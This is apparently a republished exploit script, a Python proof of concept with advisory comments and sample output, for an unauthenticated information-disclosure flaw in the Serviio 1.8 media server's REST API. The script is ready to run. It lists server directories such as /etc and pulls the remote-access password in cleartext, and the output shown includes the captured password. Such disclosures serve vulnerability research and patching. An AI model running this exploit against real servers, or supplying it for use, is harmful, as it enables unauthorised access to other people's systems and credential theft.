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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
#
#
# Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure
#
#
# Vendor: Petr Nejedly | Six Lines Ltd
# Product web page: http://www.serviio.org
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1
#
# Summary: Serviio is a free media server. It allows you to stream your media
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,
# games console or mobile phone) on your connected home network.
#
# Vendor:
# "Security:
# MediaBrowser (as well as any app that uses the API) uses well proven security techniques,
# so that you can be sure your content is only accessed by you. Make sure you keep your password
# secure."
#
# Desc: The version of Serviio installed on the remote Windows/Linux host is affected
# by an information disclosure vulnerability due to improper access control enforcement
# of the Configuration REST API. An unauthenticated, remote attacker can exploit this,
# via a specially crafted request, to gain access to potentially sensitive information.
#
# Tested on: Restlet-Framework/2.2
#            Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
#            Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
#            Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5404
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5404.php
#
# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094
#
#
# 12.12.2016
#


import sys
import xml.etree.ElementTree as ET
from urllib2 import Request, urlopen

if (len(sys.argv) <= 2):
        print '[*] Usage: serviio_id.py <ip address> <port>'
        print '[*] Example: serviio_id.py 10.211.55.3 23423'
        exit(0)

host = sys.argv[1]
port = sys.argv[2]

headers = {'Accept': 'application/xml'}
request = Request('http://'+host+':'+port+'/rest/import-export/online', headers=headers)
print '\nPrinting ServiioLinks:'
print '----------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)

for URLs in roottree.iter('serviioLink'):
     print URLs.text

print

headers = {'Accept': 'application/xml'}
#request = Request('http://'+host+':'+port+'/rest/list-folders?directory=C:\\', headers=headers)
request = Request('http://'+host+':'+port+'/rest/list-folders?directory=/etc', headers=headers)
print '\nPrinting directories:'
print '---------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)

for URLs in roottree.iter('path'):
     print URLs.text

print

headers = {'Accept': 'application/xml'}
request = Request('http://'+host+':'+port+'/rest/remote-access', headers=headers)
print '\nPrinting mediabrowser password:'
print '-------------------------------\n'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)

for URLs in roottree.iter('remoteUserPassword'):
     print URLs.text

print


'''
rewt@zslab:~# python serviio_id.py 10.211.55.3 23423         

Printing ServiioLinks:
----------------------

serviio://video:feed?url=http%3A%2F%2FRSSEXAMPLEURL%2Fzsl.xml
serviio://video:live?url=http%3A%2F%2FLIVESTREAMEXAMPLE%2Fzsl
serviio://video:web?url=http%3A%2F%2FWEBRESOURCEEXAMPLE%2Fzsl.resource


Printing directories:
---------------------

/etc/apache2
/etc/asl
/etc/cups
/etc/defaults
/etc/emond.d
/etc/mach_init.d
/etc/mach_init_per_login_session.d
/etc/mach_init_per_user.d
/etc/manpaths.d
/etc/newsyslog.d
/etc/openldap
/etc/pam.d
/etc/paths.d
/etc/periodic
/etc/pf.anchors
/etc/postfix
/etc/ppp
/etc/racoon
/etc/security
/etc/snmp
/etc/ssh
/etc/ssl
/etc/sudoers.d


Printing mediabrowser password:
-------------------------------

s3cr3to

rewt@zslab:~#
'''